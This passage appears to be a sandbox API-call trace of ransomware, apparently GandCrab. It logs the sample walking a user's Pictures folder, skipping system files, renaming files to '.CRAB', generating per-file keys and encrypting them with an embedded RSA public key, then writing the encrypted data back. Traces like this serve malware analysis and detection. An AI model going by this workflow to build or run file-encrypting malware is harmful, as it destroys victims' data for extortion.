	[0133.629] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0xffffe378, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0133.629] WriteFile (in: hFile=0x3ec, lpBuffer=0x310000*, nNumberOfBytesToWrite=0x1c90, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x310000*, lpNumberOfBytesWritten=0x314c9b4*=0x1c90, lpOverlapped=0x0) returned 1
	[0133.629] VirtualFree (lpAddress=0x310000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.630] VirtualFree (lpAddress=0x3560000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.633] WriteFile (in: hFile=0x3ec, lpBuffer=0x2d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2d0000*, lpNumberOfBytesWritten=0x314c9b4*=0x100, lpOverlapped=0x0) returned 1
	[0133.634] WriteFile (in: hFile=0x3ec, lpBuffer=0x2e0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e0000*, lpNumberOfBytesWritten=0x314c9b4*=0x100, lpOverlapped=0x0) returned 1
	[0133.634] WriteFile (in: hFile=0x3ec, lpBuffer=0x2f0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f0000*, lpNumberOfBytesWritten=0x314c9b4*=0x8, lpOverlapped=0x0) returned 1
	[0133.634] CloseHandle (hObject=0x3ec) returned 1
	[0133.634] VirtualFree (lpAddress=0x2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.634] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.635] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.635] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.635] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.635] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.636] FindNextFileW (in: hFindFile=0x320df10, lpFindFileData=0x314d210 | out: lpFindFileData=0x314d210) returned 1
	[0133.636] lstrcmpW (lpString1="yj6TD-xkYt 9.bmp", lpString2=".") returned 1
	[0133.636] lstrcmpW (lpString1="yj6TD-xkYt 9.bmp", lpString2="..") returned 1
	[0133.636] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\D3N6CHyyJgR\\", lpString2="yj6TD-xkYt 9.bmp" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\D3N6CHyyJgR\\yj6TD-xkYt 9.bmp") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\D3N6CHyyJgR\\yj6TD-xkYt 9.bmp"
	[0133.636] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0133.636] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\D3N6CHyyJgR\\yj6TD-xkYt 9.bmp") returned 59
	[0133.636] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\D3N6CHyyJgR\\yj6TD-xkYt 9.bmp") returned 59
	[0133.636] lstrlenW (lpString=".bmp") returned 4
	[0133.636] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0133.636] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".bmp ") returned 5
	[0133.636] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.637] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\D3N6CHyyJgR\\yj6TD-xkYt 9.bmp") returned 59
	[0133.637] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\D3N6CHyyJgR\\yj6TD-xkYt 9.bmp") returned 59
	[0133.637] lstrcmpiW (lpString1="yj6TD-xkYt 9.bmp", lpString2="desktop.ini") returned 1
	[0133.637] lstrcmpiW (lpString1="yj6TD-xkYt 9.bmp", lpString2="autorun.inf") returned 1
	[0133.637] lstrcmpiW (lpString1="yj6TD-xkYt 9.bmp", lpString2="ntuser.dat") returned 1
	[0133.637] lstrcmpiW (lpString1="yj6TD-xkYt 9.bmp", lpString2="iconcache.db") returned 1
	[0133.637] lstrcmpiW (lpString1="yj6TD-xkYt 9.bmp", lpString2="bootsect.bak") returned 1
	[0133.637] lstrcmpiW (lpString1="yj6TD-xkYt 9.bmp", lpString2="boot.ini") returned 1
	[0133.637] lstrcmpiW (lpString1="yj6TD-xkYt 9.bmp", lpString2="ntuser.dat.log") returned 1
	[0133.637] lstrcmpiW (lpString1="yj6TD-xkYt 9.bmp", lpString2="thumbs.db") returned 1
	[0133.637] lstrcmpiW (lpString1="yj6TD-xkYt 9.bmp", lpString2="CRAB-DECRYPT.txt") returned 1
	[0133.637] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0133.637] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\D3N6CHyyJgR\\yj6TD-xkYt 9.bmp.CRAB") returned 64
	[0133.637] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\D3N6CHyyJgR\\yj6TD-xkYt 9.bmp" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\d3n6chyyjgr\\yj6td-xkyt 9.bmp")) returned 0x20
	[0133.638] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\D3N6CHyyJgR\\yj6TD-xkYt 9.bmp", dwFileAttributes=0x20) returned 1
	[0133.638] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\D3N6CHyyJgR\\yj6TD-xkYt 9.bmp" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\d3n6chyyjgr\\yj6td-xkyt 9.bmp"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\D3N6CHyyJgR\\yj6TD-xkYt 9.bmp.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\d3n6chyyjgr\\yj6td-xkyt 9.bmp.crab")) returned 1
	[0133.639] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0133.639] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\D3N6CHyyJgR\\yj6TD-xkYt 9.bmp.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\D3N6CHyyJgR\\yj6TD-xkYt 9.bmp.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\D3N6CHyyJgR\\yj6TD-xkYt 9.bmp.CRAB"
	[0133.639] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\D3N6CHyyJgR\\yj6TD-xkYt 9.bmp.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\D3N6CHyyJgR\\yj6TD-xkYt 9.bmp.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\D3N6CHyyJgR\\yj6TD-xkYt 9.bmp.CRAB.CRAB"
	[0133.639] CryptAcquireContextW (in: phProv=0x314c830, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c830*=0xd6e9e0) returned 1
	[0133.640] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0133.641] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0133.644] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0133.644] CryptGenRandom (in: hProv=0xd6e9e0, dwLen=0x10, pbBuffer=0x314c96c | out: pbBuffer=0x314c96c) returned 1
	[0133.644] CryptReleaseContext (hProv=0xd6e9e0, dwFlags=0x0) returned 1
	[0133.644] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.644] CryptAcquireContextW (in: phProv=0x314c830, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c830*=0xd6e9e0) returned 1
	[0133.645] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0133.646] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0133.646] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0133.646] CryptGenRandom (in: hProv=0xd6e9e0, dwLen=0x20, pbBuffer=0x314c948 | out: pbBuffer=0x314c948) returned 1
	[0133.646] CryptReleaseContext (hProv=0xd6e9e0, dwFlags=0x0) returned 1
	[0133.646] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.646] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
	[0133.647] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2e0000
	[0133.647] CryptAcquireContextW (in: phProv=0x314c820, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c820*=0xd6e408) returned 1
	[0133.648] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314c81c | out: phKey=0x314c81c*=0x320ee90) returned 1
	[0133.648] CryptGetKeyParam (in: hKey=0x320ee90, dwParam=0x8, pbData=0x314c80c, pdwDataLen=0x314c814, dwFlags=0x0 | out: pbData=0x314c80c*=0x800, pdwDataLen=0x314c814*=0x4) returned 1
	[0133.648] CryptEncrypt (in: hKey=0x320ee90, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d0000*, pdwDataLen=0x314c97c*=0xc8, dwBufLen=0x800 | out: pbData=0x2d0000*, pdwDataLen=0x314c97c*=0x100) returned 1
	[0133.649] GetLastError () returned 0x0
	[0133.649] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0133.649] CryptAcquireContextW (in: phProv=0x314c820, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c820*=0xd6eb78) returned 1
	[0133.650] CryptImportKey (in: hProv=0xd6eb78, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314c81c | out: phKey=0x314c81c*=0x320eed0) returned 1
	[0133.650] CryptGetKeyParam (in: hKey=0x320eed0, dwParam=0x8, pbData=0x314c80c, pdwDataLen=0x314c814, dwFlags=0x0 | out: pbData=0x314c80c*=0x800, pdwDataLen=0x314c814*=0x4) returned 1
	[0133.650] CryptEncrypt (in: hKey=0x320eed0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2e0000*, pdwDataLen=0x314c980*=0xc8, dwBufLen=0x800 | out: pbData=0x2e0000*, pdwDataLen=0x314c980*=0x100) returned 1
	[0133.650] GetLastError () returned 0x0
	[0133.650] CryptReleaseContext (hProv=0xd6eb78, dwFlags=0x0) returned 1
	[0133.650] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\D3N6CHyyJgR\\yj6TD-xkYt 9.bmp.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\d3n6chyyjgr\\yj6td-xkyt 9.bmp.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ec
	[0133.651] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2f0000
	[0133.651] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3560000
	[0133.651] ReadFile (in: hFile=0x3ec, lpBuffer=0x3560000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314c9c4, lpOverlapped=0x0 | out: lpBuffer=0x3560000*, lpNumberOfBytesRead=0x314c9c4*=0x18a54, lpOverlapped=0x0) returned 1
	[0133.663] VirtualAlloc (lpAddress=0x0, dwSize=0x18a60, flAllocationType=0x3000, flProtect=0x4) returned 0x300000
	[0133.665] VirtualAlloc (lpAddress=0x0, dwSize=0x18a60, flAllocationType=0x3000, flProtect=0x4) returned 0x320000
	[0133.667] VirtualFree (lpAddress=0x300000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.668] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0xfffe75ac, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0133.668] WriteFile (in: hFile=0x3ec, lpBuffer=0x320000*, nNumberOfBytesToWrite=0x18a60, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x320000*, lpNumberOfBytesWritten=0x314c9b4*=0x18a60, lpOverlapped=0x0) returned 1
	[0133.668] VirtualFree (lpAddress=0x320000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.669] VirtualFree (lpAddress=0x3560000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.672] WriteFile (in: hFile=0x3ec, lpBuffer=0x2d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2d0000*, lpNumberOfBytesWritten=0x314c9b4*=0x100, lpOverlapped=0x0) returned 1
	[0133.672] WriteFile (in: hFile=0x3ec, lpBuffer=0x2e0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e0000*, lpNumberOfBytesWritten=0x314c9b4*=0x100, lpOverlapped=0x0) returned 1
	[0133.673] WriteFile (in: hFile=0x3ec, lpBuffer=0x2f0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f0000*, lpNumberOfBytesWritten=0x314c9b4*=0x8, lpOverlapped=0x0) returned 1
	[0133.673] CloseHandle (hObject=0x3ec) returned 1
	[0133.673] VirtualFree (lpAddress=0x2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.673] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.673] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.673] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.674] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.674] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.674] FindNextFileW (in: hFindFile=0x320df10, lpFindFileData=0x314d210 | out: lpFindFileData=0x314d210) returned 0
	[0133.674] FindClose (in: hFindFile=0x320df10 | out: hFindFile=0x320df10) returned 1
	[0133.674] FindNextFileW (in: hFindFile=0x320ded0, lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 1
	[0133.674] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1
	[0133.674] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1
	[0133.674] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\", lpString2="desktop.ini" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\desktop.ini") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\desktop.ini"
	[0133.674] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0133.675] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\desktop.ini") returned 42
	[0133.675] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\desktop.ini") returned 42
	[0133.675] lstrlenW (lpString=".ini") returned 4
	[0133.675] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0133.675] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".ini ") returned 5
	[0133.675] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.675] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\desktop.ini") returned 42
	[0133.675] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\desktop.ini") returned 42
	[0133.675] lstrcmpiW (lpString1="desktop.ini", lpString2="desktop.ini") returned 0
	[0133.675] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.676] FindNextFileW (in: hFindFile=0x320ded0, lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 1
	[0133.676] lstrcmpW (lpString1="dKYT-erDji.jpg", lpString2=".") returned 1
	[0133.676] lstrcmpW (lpString1="dKYT-erDji.jpg", lpString2="..") returned 1
	[0133.676] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\", lpString2="dKYT-erDji.jpg" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\dKYT-erDji.jpg") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\dKYT-erDji.jpg"
	[0133.676] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0133.676] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\dKYT-erDji.jpg") returned 45
	[0133.676] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\dKYT-erDji.jpg") returned 45
	[0133.676] lstrlenW (lpString=".jpg") returned 4
	[0133.676] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0133.676] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".jpg ") returned 5
	[0133.676] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.677] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\dKYT-erDji.jpg") returned 45
	[0133.677] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\dKYT-erDji.jpg") returned 45
	[0133.677] lstrcmpiW (lpString1="dKYT-erDji.jpg", lpString2="desktop.ini") returned 1
	[0133.677] lstrcmpiW (lpString1="dKYT-erDji.jpg", lpString2="autorun.inf") returned 1
	[0133.677] lstrcmpiW (lpString1="dKYT-erDji.jpg", lpString2="ntuser.dat") returned -1
	[0133.677] lstrcmpiW (lpString1="dKYT-erDji.jpg", lpString2="iconcache.db") returned -1
	[0133.677] lstrcmpiW (lpString1="dKYT-erDji.jpg", lpString2="bootsect.bak") returned 1
	[0133.677] lstrcmpiW (lpString1="dKYT-erDji.jpg", lpString2="boot.ini") returned 1
	[0133.677] lstrcmpiW (lpString1="dKYT-erDji.jpg", lpString2="ntuser.dat.log") returned -1
	[0133.677] lstrcmpiW (lpString1="dKYT-erDji.jpg", lpString2="thumbs.db") returned -1
	[0133.677] lstrcmpiW (lpString1="dKYT-erDji.jpg", lpString2="CRAB-DECRYPT.txt") returned 1
	[0133.677] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0133.677] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\dKYT-erDji.jpg.CRAB") returned 50
	[0133.677] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\dKYT-erDji.jpg" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\dkyt-erdji.jpg")) returned 0x20
	[0133.678] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\dKYT-erDji.jpg", dwFileAttributes=0x20) returned 1
	[0133.678] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\dKYT-erDji.jpg" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\dkyt-erdji.jpg"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\dKYT-erDji.jpg.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\dkyt-erdji.jpg.crab")) returned 1
	[0133.679] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0133.679] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\dKYT-erDji.jpg.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\dKYT-erDji.jpg.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\dKYT-erDji.jpg.CRAB"
	[0133.679] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\dKYT-erDji.jpg.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\dKYT-erDji.jpg.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\dKYT-erDji.jpg.CRAB.CRAB"
	[0133.679] CryptAcquireContextW (in: phProv=0x314d2d8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2d8*=0xd6e408) returned 1
	[0133.680] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0133.681] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0133.681] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0133.681] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x10, pbBuffer=0x314d414 | out: pbBuffer=0x314d414) returned 1
	[0133.681] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0133.681] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.681] CryptAcquireContextW (in: phProv=0x314d2d8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2d8*=0xd6e408) returned 1
	[0133.682] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0133.683] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0133.683] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0133.683] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x20, pbBuffer=0x314d3f0 | out: pbBuffer=0x314d3f0) returned 1
	[0133.683] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0133.683] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.683] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
	[0133.683] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2e0000
	[0133.683] CryptAcquireContextW (in: phProv=0x314d2c8, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2c8*=0xd6e408) returned 1
	[0133.684] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314d2c4 | out: phKey=0x314d2c4*=0x320df10) returned 1
	[0133.685] CryptGetKeyParam (in: hKey=0x320df10, dwParam=0x8, pbData=0x314d2b4, pdwDataLen=0x314d2bc, dwFlags=0x0 | out: pbData=0x314d2b4*=0x800, pdwDataLen=0x314d2bc*=0x4) returned 1
	[0133.685] CryptEncrypt (in: hKey=0x320df10, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d0000*, pdwDataLen=0x314d424*=0xc8, dwBufLen=0x800 | out: pbData=0x2d0000*, pdwDataLen=0x314d424*=0x100) returned 1
	[0133.685] GetLastError () returned 0x0
	[0133.685] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0133.685] CryptAcquireContextW (in: phProv=0x314d2c8, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2c8*=0xd6eb78) returned 1
	[0133.686] CryptImportKey (in: hProv=0xd6eb78, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314d2c4 | out: phKey=0x314d2c4*=0x320ef10) returned 1
	[0133.686] CryptGetKeyParam (in: hKey=0x320ef10, dwParam=0x8, pbData=0x314d2b4, pdwDataLen=0x314d2bc, dwFlags=0x0 | out: pbData=0x314d2b4*=0x800, pdwDataLen=0x314d2bc*=0x4) returned 1
	[0133.686] CryptEncrypt (in: hKey=0x320ef10, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2e0000*, pdwDataLen=0x314d428*=0xc8, dwBufLen=0x800 | out: pbData=0x2e0000*, pdwDataLen=0x314d428*=0x100) returned 1
	[0133.687] GetLastError () returned 0x0
	[0133.687] CryptReleaseContext (hProv=0xd6eb78, dwFlags=0x0) returned 1
	[0133.687] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\dKYT-erDji.jpg.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\dkyt-erdji.jpg.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3e8
	[0133.687] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2f0000
	[0133.687] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3560000
	[0133.688] ReadFile (in: hFile=0x3e8, lpBuffer=0x3560000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314d46c, lpOverlapped=0x0 | out: lpBuffer=0x3560000*, lpNumberOfBytesRead=0x314d46c*=0x6dd8, lpOverlapped=0x0) returned 1
	[0133.699] VirtualAlloc (lpAddress=0x0, dwSize=0x6de0, flAllocationType=0x3000, flProtect=0x4) returned 0x300000
	[0133.700] VirtualAlloc (lpAddress=0x0, dwSize=0x6de0, flAllocationType=0x3000, flProtect=0x4) returned 0x310000
	[0133.701] VirtualFree (lpAddress=0x300000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.701] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0xffff9228, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0133.701] WriteFile (in: hFile=0x3e8, lpBuffer=0x310000*, nNumberOfBytesToWrite=0x6de0, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x310000*, lpNumberOfBytesWritten=0x314d45c*=0x6de0, lpOverlapped=0x0) returned 1
	[0133.701] VirtualFree (lpAddress=0x310000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.702] VirtualFree (lpAddress=0x3560000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.705] WriteFile (in: hFile=0x3e8, lpBuffer=0x2d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2d0000*, lpNumberOfBytesWritten=0x314d45c*=0x100, lpOverlapped=0x0) returned 1
	[0133.705] WriteFile (in: hFile=0x3e8, lpBuffer=0x2e0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2e0000*, lpNumberOfBytesWritten=0x314d45c*=0x100, lpOverlapped=0x0) returned 1
	[0133.706] WriteFile (in: hFile=0x3e8, lpBuffer=0x2f0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2f0000*, lpNumberOfBytesWritten=0x314d45c*=0x8, lpOverlapped=0x0) returned 1
	[0133.706] CloseHandle (hObject=0x3e8) returned 1
	[0133.706] VirtualFree (lpAddress=0x2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.706] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.706] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
